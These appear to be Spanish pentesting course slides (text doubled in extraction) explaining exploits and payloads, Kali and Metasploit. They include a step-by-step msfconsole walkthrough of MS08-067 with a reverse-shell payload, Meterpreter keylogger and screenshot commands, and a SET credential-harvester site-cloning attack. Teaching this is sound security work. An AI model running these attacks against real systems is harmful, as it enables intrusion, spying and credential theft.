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Contenido del día 3

Explotar vulnerabilidades:Explotar vulnerabilidades:

¿Qué es un exploit?¿Qué es un exploit?

¿De qué partes se compone?¿De qué partes se compone?

¿Cómo buscar exploits para las vulnerabilidades?¿Cómo buscar exploits para las vulnerabilidades?

¿Cómo lanzarlos?¿Cómo lanzarlos?



¿Comenzamos?

Objetivos de este segundo día:Objetivos de este segundo día:

1.1. Conocer cómo funcionan los exploits.Conocer cómo funcionan los exploits.

2.2. Estudiar las distintas alternativas para la Estudiar las distintas alternativas para la 
ejecución de exploits.ejecución de exploits.

3.3. Utilizar un framework de seguridad (Metasploit)Utilizar un framework de seguridad (Metasploit)



¿Qué es un Exploit?

Código escrito para aprovechar un error de Código escrito para aprovechar un error de 
programación y conseguir diversos privilegios.programación y conseguir diversos privilegios.

Normalmente, se busca tomar el control de una Normalmente, se busca tomar el control de una 
máquina o bien dejarla fuera de servicio (DoS)máquina o bien dejarla fuera de servicio (DoS)

Suele estar escrito en lenguaje C.Suele estar escrito en lenguaje C.

Aprovechan vulnerabilidades de Aprovechan vulnerabilidades de 
desbordamiento de buffers, de error de formato desbordamiento de buffers, de error de formato 
de cadena, de cadena, ……



Partes de un Exploits

Un exploit se compone de dos partes:Un exploit se compone de dos partes:

CabeceraCabecera o exploit  o exploit propiamente dicho. Es la parte de propiamente dicho. Es la parte de 
código específica para cada vulnerabilidad.código específica para cada vulnerabilidad.

Cuerpo o Cuerpo o payloadpayload. Parte de código de un exploit que tiene . Parte de código de un exploit que tiene 
como objetivo ejecutarse en la máquina víctima para como objetivo ejecutarse en la máquina víctima para 
realizar la acción maliciosa. Son reutilizados en diferentes realizar la acción maliciosa. Son reutilizados en diferentes 
exploits. Ejemplo: shell inversa. La víctima enviará una exploits. Ejemplo: shell inversa. La víctima enviará una 
conexión al atacante con una línea de comandos para que conexión al atacante con una línea de comandos para que 
pueda interactuar con la máquina vulnerada. pueda interactuar con la máquina vulnerada. 



Búsqueda de exploits

Una vez encontradas vulnerabilidades en un Una vez encontradas vulnerabilidades en un 
sistema, hay que ver si tienen asociadas algún sistema, hay que ver si tienen asociadas algún 
exploit.exploit.

No todas las vulnerabilidades tienen exploits.No todas las vulnerabilidades tienen exploits.

Algunas tienen exploits pero no son públicos.Algunas tienen exploits pero no son públicos.

Una buena base de datos es cvedetailsUna buena base de datos es cvedetails



Búsqueda de exploits









Distribuciones linux de 
seguridad

Son distribuciones que vienen preparadas con Son distribuciones que vienen preparadas con 
herramientas para realizar un test de intrusión.herramientas para realizar un test de intrusión.

Las más utilizadas:Las más utilizadas:

BacktrackBacktrack

KaliKali: realizada por los creadores del anterior y : realizada por los creadores del anterior y 
basada en Debian.basada en Debian.



kali

No requiere ser instalado. Puede ejecutarse No requiere ser instalado. Puede ejecutarse 
como máquina virtual (p.e. con virtualbox) y en como máquina virtual (p.e. con virtualbox) y en 
modo live.modo live.

Puede instalarse en otros soportes: usb, Puede instalarse en otros soportes: usb, 
raspberrypi, …raspberrypi, …

Nos va a proporcionar un entorno con todas las Nos va a proporcionar un entorno con todas las 
herramientas necesarias para realizar herramientas necesarias para realizar 
auditorías de seguridad.auditorías de seguridad.



kali



Metasploit

Framework que permite al auditor desarrollar y Framework que permite al auditor desarrollar y 
ejecutar exploits y lanzarlos contra máquinas para ejecutar exploits y lanzarlos contra máquinas para 
comprobar la seguridad de estas.comprobar la seguridad de estas.

Dispone de módulos que permiten aumentar de Dispone de módulos que permiten aumentar de 
manera sencilla las funcionalidades del framework.manera sencilla las funcionalidades del framework.

Interfaces: gráfica (Armitage), web (Metasploit Interfaces: gráfica (Armitage), web (Metasploit 
Express), línea de comandos o consola (msfconsole). Express), línea de comandos o consola (msfconsole). 



Metasploit 

Versiones:Versiones:

Metasploit Community EditionMetasploit Community Edition

Metasploit ProMetasploit Pro

Metasploit ExpressMetasploit Express  





Consola Metasploit en Kali

Kali contiene el Kali contiene el 
framework de framework de 
metasploit. Para metasploit. Para 
acceder acceder 
ejecutamos, ejecutamos, 
desde un desde un 
terminal: terminal: 
msfconsolemsfconsole



Metasploit: msfconsole

Para usar un exploit: Para usar un exploit: use <ruta_exploit>use <ruta_exploit>
Para ver las opciones: Para ver las opciones: show optionsshow options
Para configurar opciones: Para configurar opciones: set <opcion>  <valor>set <opcion>  <valor>
Para seleccionar payload: Para seleccionar payload: set PAYLOAD<ruta_payload>set PAYLOAD<ruta_payload>
Para lanzar el exploit: Para lanzar el exploit: exploitexploit



Ejemplo 1: Netatapi

Máquina víctima: Windows XP SP3 (192.168.1.16)Máquina víctima: Windows XP SP3 (192.168.1.16)

Máquina atacante: Kali (192.168.6.212)Máquina atacante: Kali (192.168.6.212)

Aprovechar la vulnerabilidad: Aprovechar la vulnerabilidad: ms08-067-netatapims08-067-netatapi

Utilizar Utilizar msfconsole msfconsole en un terminal de kali.en un terminal de kali.

Utilizamos el PAYLOAD: Utilizamos el PAYLOAD: windows/shell/reverse_tcpwindows/shell/reverse_tcp



Ejemplo: ms08_067_netatapi
Pasos:Pasos:

1.1. En un terminal ejecutamos: “En un terminal ejecutamos: “msfconsolemsfconsole””

2.2. Seleccionamos el exploit: “Seleccionamos el exploit: “use use 
exploit/windows/smb/ms08_067_netatapiexploit/windows/smb/ms08_067_netatapi””

3.3. Seleccionamos el PAYLOAD: “Seleccionamos el PAYLOAD: “set PAYLOAD set PAYLOAD 
windows/shell/reverse_tcpwindows/shell/reverse_tcp””

4.4. Vemos las opciones que tenemos que configurar: “Vemos las opciones que tenemos que configurar: “show optionsshow options””

5.5. Configuramos las distintas opciones: Configuramos las distintas opciones: 

1.1. set RHOST 192.168.1.16set RHOST 192.168.1.16

2.2. set LHOST 192.168.6.212set LHOST 192.168.6.212

6.6. Lanzamos el exploit: “Lanzamos el exploit: “exploitexploit””

Si todo ha ido bien, nos devolverá una shell del equipo de la víctima.Si todo ha ido bien, nos devolverá una shell del equipo de la víctima.







Ejemplo 1: ms08_067_netatapi

Otros PAYLOADS:Otros PAYLOADS:

Para conectarse por VNCPara conectarse por VNC: : windows/vncinject/reverse_tcpwindows/vncinject/reverse_tcp

Meterpreter Meterpreter : : windows/meterpreter/reverse_tcpwindows/meterpreter/reverse_tcp



Meterpreter

Payload potente que nos permite realizar Payload potente que nos permite realizar 
multitud de tareas.multitud de tareas.

Comandos a utilizar: Comandos a utilizar: helphelp

Permite cargar extensiones. Ej: Permite cargar extensiones. Ej: use espiause espia. Con lo . Con lo 
que ahora permite capturar pantallas con: que ahora permite capturar pantallas con: 
screenshot <nombre>screenshot <nombre>



Meterpreter

Migrarlo a otro proceso:Migrarlo a otro proceso:

ps ps (para ver los procesos)(para ver los procesos)

migrate <proceso>migrate <proceso>

Keylogger: Keylogger: 

Keyscan_startKeyscan_start

Keyscan_dumpKeyscan_dump

Keyscan_stopKeyscan_stop

• Cargar archivos: Cargar archivos: upload <archivo>upload <archivo>



Set (Social Engineering Toolkit)

Ejemplo de ataque clone-site utilizando SET:Ejemplo de ataque clone-site utilizando SET:

1.1.Ejecuta en un terminal: se-toolkitEjecuta en un terminal: se-toolkit

2.2.Selecciona las siguientes opciones: Selecciona las siguientes opciones: 

•1 – Social Engineering Atack1 – Social Engineering Atack
•2 – Website Attack Vectors2 – Website Attack Vectors
•3 -  Credential Harvester Attack Method3 -  Credential Harvester Attack Method
•2 – Site Cloner2 – Site Cloner
•<tu_ip> y url a clonar<tu_ip> y url a clonar





Lecturas recomendadas:

• Páginas Webs:Páginas Webs:

– http://www.hackxcrack.es/forum/index.php?topic=5401.0http://www.hackxcrack.es/forum/index.php?topic=5401.0
– www.pentestlab.comwww.pentestlab.com
– http://www.antrax-labs.org/2012/10/java-applet-attack-http://www.antrax-labs.org/2012/10/java-applet-attack-

method_10.htmlmethod_10.html

• Libros:Libros:

– Metasploit para Pentesters (Informática64)Metasploit para Pentesters (Informática64)
– Pentesting con Kali (0xWord)Pentesting con Kali (0xWord)


